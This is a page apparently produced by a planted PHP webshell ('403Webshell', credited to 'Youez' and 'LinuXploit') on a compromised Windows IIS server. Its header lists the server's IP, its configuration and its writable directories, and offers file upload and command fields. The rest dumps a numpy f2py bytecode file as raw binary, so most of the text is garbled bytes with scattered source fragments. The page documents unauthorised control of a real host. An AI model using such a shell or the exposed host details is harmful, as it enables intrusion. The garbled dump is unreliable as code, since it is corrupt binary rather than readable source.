403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/numpy/f2py/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/numpy/f2py/__pycache__/func2subr.cpython-312.pyc
�

	�g})��|�dZddlZddlmZmZmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZddlmZdd�Zd�Zdd�Zdd	�Zd
�Zy)
a;

Rules for building C/API module with f2py2e.

Copyright 1999 -- 2011 Pearu Peterson all rights reserved.
Copyright 2011 -- present NumPy Developers.
Permission to use, modify, and distribute this software is given under the
terms of the NumPy License.

NO WARRANTY IS EXPRESSED OR IMPLIED.  USE AT YOUR OWN RISK.
�N�)
�getfortranname�
isexternal�
isfunction�isfunction_wrap�isintent_in�isintent_out�islogicalfunction�ismoduleroutine�isscalar�issubroutine�issubroutine_wrap�outmess�show)�isoc_kindmapc�`�|�|}||vrt|�td|z�yd||vrt||�td|z�y||d}|dk(rd||vr|�d||d�d�}i}d}d	||vr||d	}d
}nd||vr
||d}d}d
|vr<|r|d
dvrd|z}n`|�d|�d|d
�d�}nQ|d
dvr|�d|d
�d�}n>|�d
|d
��}n3d|vr |�d|d��}d
|vr|�d|d
�d�}nd|z}nd
|vr|�d|d
�d�}|�d|��}d||vr|�ddj||d��d�}|S)Nz1var2fixfortran: No definition for argument "%s".
��typespecz/var2fixfortran: No typespec for argument "%s".
�type�typename�(�)�kindselector�kind�charselector�len�*)r�:�(*)z	%s(len=*)�=)rrz*(z(len=z,kind=z%s)z(kind=� �	dimension�,)rr�join)�vars�a�fa�f90mode�vardef�selector�lks       �6C:\Python312\Lib\site-packages\numpy/f2py/func2subr.py�var2fixfortranr-s���	�z�
����}��T�
��D�q�H�I����a�� ��T�!�W�
��B�Q�F�G��
�!�W�Z�
 �F�
���J�$�q�'�1�#�T�!�W�Z�%8�9���H�	�B���a�� ���7�>�*��
��	�4��7�	"���7�>�*��
��
�h�����}� 1�1�$��/��(.��H�S�M�B����}�
�*�&,�h�s�m�<��$*�H�S�M�:���H��$*�H�U�O�<�F���!�*0�(�6�2B�C���&�)��
�x�
�&,�h�v�.>�?�F���
#�F��d�1�g��#�S�X�X�d�1�g�k�.B�%C�D���M�c��d}|dj�D]0\}}|jdi�jd�}|tvs�0y|S)NFr%rrT)�items�getr)�rout�useisoc�key�value�
kind_values     r,�useiso_c_bindingr7FsT���G��6�l�(�(�*��
��U��Y�Y�~�r�2�6�6�v�>�
���%����Nr.c	���t|�sJ�g}|d}|dD]s}|d|}t|jdg��D]K\}}|dk(s�d|�d|��}tddg�	�}	d
|�d|�d�|	d
<|j	|�|	||<||d|<�M�u|dj|�t
|�}
dg}|fd�}|d}
t|�}t|�}d|
z}||vr||
||<|g|dddz}n	|g|dz}t||
d|�}|dddk(r5|r	d|ddz}nd|ddz}||
d}|jdd�dk(rd|d<|jd|�}d}t|�}dj|�}|rb|j|
�d�d�}|D�cgc]
}||
k7s�	|��}}||d<|d|d�d|
�d|�d��|s|d |d�d!|���|rG|d"�n>|d#|
�d|�d��|r|d"�|
s#|d$|z�|jdd�d%z|z}|
rF|d&jd'�D]/}|j�jd �s�#d(|vs�(||��1|dd}g}|D]-}t!||�s�|d$|z�|j	|��/|D];}||vr�t#||�s�|t|||�)��|j	|��=|D];}||vr�t%||�s�|t|||�)��|j	|��=|D]}||vr�|t|||�)���||�|�||�|
r,|rn)|d*�||d&j��|d+�dj|D�cgc]	}||vs�|��c}�}|s.t'|�r||�d,|�d-|�d.��n||�d/|�d-|�d��|r|d0|d�d|
���|d2S|d1�|d2Scc}wcc}w)3Nr%�argsr"r�f2py_�_d�integer�hide�r�intent�shape(�, rr rc��|d�d|��|d<y�Nrz
      ���line�rets  r,�addzcreatefuncwrapper.<locals>.addb���#&�q�6�4�0��A�r.�namez
%sf2pywraprz
@@@NAME@@@�
z
character*(*)zcharacter(len=10)zcharacter*10rrr�10�subroutine f2pywrap_�
modulename�_� (�use �	, only : �use iso_c_binding�subroutine f2pywrap�external %sr!�saved_interface�
�__user__�r(�	interface�
end interfacez = .not.(.not.rz))z = �end subroutine f2pywrap_�endr)r�	enumerater1�dict�append�extend�boolrrr-�replacer7r$�split�lstrip�
startswithrrrr
)r2�	signature�
extra_argsr%r&�v�i�d�dn�dv�need_interfacerGrHrJ�fortrannamer(�newnamer9�l_tmpl�
charselect�l1�rlr3�sargs�argrF�dumped_argss                           r,�createfuncwrapperrxNs����d�����J���<�D�
�&�\�	'����L��O���a�e�e�K��4�5�	'�D�A�q��C�x�&'��+���9�f�X�>��-.��2��3���!�!�"�%���R��$&��+��q�!�	'�	'�	��L���
�#��*�%�N�
�$�C��1���<�D� ��&�K��d�#�G��d�#�G��d���T�
��W�
��y�4��<���+�+���y�4��<�'��
�D�$��g�
>�F�
�c�r�{�o�%��(�6�"�#�;�6�F�#�f�R�S�k�1�F��$�Z��/�
��>�>�#�r�"�e�+�"�J�s�O�	����g�	.�B�	
�B��t�$�G��I�I�d�O�E���
�
���b�k�2�.��#�3��s�d�{��3��3���V���
�,�
��u�
.�	/���t�L�'9�;�G�H���#�$��D�%�8�9���#�$���
��-�.�����b�1�C�7�+�E�B���*�+�1�1�$�7�	�D��{�{�}�'�'��/�J�d�4J��D�	�	����8�D��K�
�"���d�1�g���
��#�$����q�!�"��"�������D��G����t�Q��8�9����q�!�"��"�������t�A�w����t�Q��8�9����q�!�"��6�������N�4��G�4�5�6�
��G�	�~��B����������&�'�.�.�0�1��� ��I�I�$�>�Q�!�:�*=�q�>�?�E���T�"��W�k�5�I�J���+�u�=�>���t�L�/A�4�H�I��q�6�M�	�E�
��q�6�M��I4��r?s�
O0�O0�	O5�O5c	���t|�sJ�g}|d}|dD]s}|d|}t|jdg��D]K\}}|dk(s�d|�d|��}tddg�	�}	d
|�d|�d�|	d
<|j	|�|	||<||d|<�M�u|dj|�t
|�}
dg}|fd�}|d}
t|�}t|�}|d}t|�}dj|�}|r3|d|d�d|
�d|�d��|r|d�|s8|d|d�d|���n&|d|
�d|�d��|r|d�|
s|d|z�|
rF|djd�D]/}|j�jd�s�#d|vs�(||��1g}|D]-}t||�s�|d|z�|j	|��/|D];}||vr�t||�s�|t!|||���|j	|��=|D]}||vr�|t!|||����|
rX|rnU|d�|djd�D].}|j�jd�rd|vr�'||��0|d�dj|D�cgc]	}||vs�|��c}�}|s|d |�d!|�d��|r|d"|d�d|
���|d$S|d#�|d$Scc}w)%Nr%r9r"rr:r;r<r=r>r@rArr rc��|d�d|��|d<yrCrDrEs  r,rHzcreatesubrwrapper.<locals>.add�rIr.rJrMrNrOrPrSrQrRrTrUrVrWrXrYrZr[zcall rr\r]r)r
r^r1r_r`rarbrrr7r$rdrerfrrr-)r2rgrhr%r&rirjrkrlrmrnrGrHrJror(r9r3rurFrws                     r,�createsubrwrapperr{�sB��������J���<�D�
�&�\�	'����L��O���a�e�e�K��4�5�	'�D�A�q��C�x�&'��+���9�f�X�>��-.��2��3���!�!�"�%���R��$&��+��q�!�	'�	'�	��L���
�#��*�%�N�
�$�C��1���<�D� ��&�K��d�#�G���<�D��t�$�G��I�I�d�O�E���
�,�
��u�
.�	/���#�$���t�L�'9�;�G�H��D�%�8�9���#�$���
��-�.���*�+�1�1�$�7�	�D��{�{�}�'�'��/�J�d�4J��D�	�	��K�
�"���d�1�g���
��#�$����q�!�"��"�������D��G����t�Q��8�9����q�!�"��6�������N�4��G�4�5�6�
�������.�/�5�5�d�;�
���;�;�=�+�+�F�3�
�d�8J���D�	�
�
�� ��I�I�$�>�Q�!�:�*=�q�>�?�E���[�%�0�1���t�L�/A�4�H�I��q�6�M�	�E�
��q�6�M��?s�	K�Kc�n�t|�r�t|�}|d}td|�d|�d��tj|�}|}|}d|vr|d}|d||d|<|d|}t	|�sWd|vrg|d<|djd�d	}|dD]}|j
d
�s�d}n|r|djd|z�|g|d
z|d
dd|t|�fSt|�rDt|�}|d}td|�d|�d��tj|�}|t|�fS|dfS)NrJz)		Creating wrapper for Fortran function "z"("z")...
�resultr%r?�outrzout=rzout=%sr9z+		Creating wrapper for Fortran subroutine "r)
rrr�copyr	r`rfrxrr{)r2rorJ�fname�rname�fvar�flagrjs        r,�assubrr�"sl���t��$�T�*���F�|����+��	 ��y�y���������t����N�E�"&�v�,�u�"5�D��L����F�|�E�"���D�!��t�#�!#��X����N�!�!�%�(��D��(�^�
���<�<��'��D��
���X��%�%�h�%�&8�9� �'�D��L�0��V��Q���&�t�,�,�,����$�T�*���F�|�����&�	'��y�y�����&�t�,�,�,���8�Or.)NN)r)�__doc__r�auxfuncsrrrrrr	r
rrr
rrr�	_isocbindrr-r7rxr{r�rDr.r,�<module>r�sF��
������$�.�`�y�xU�p!r.

Youez - 2016 - github.com/yon3zu
LinuXploit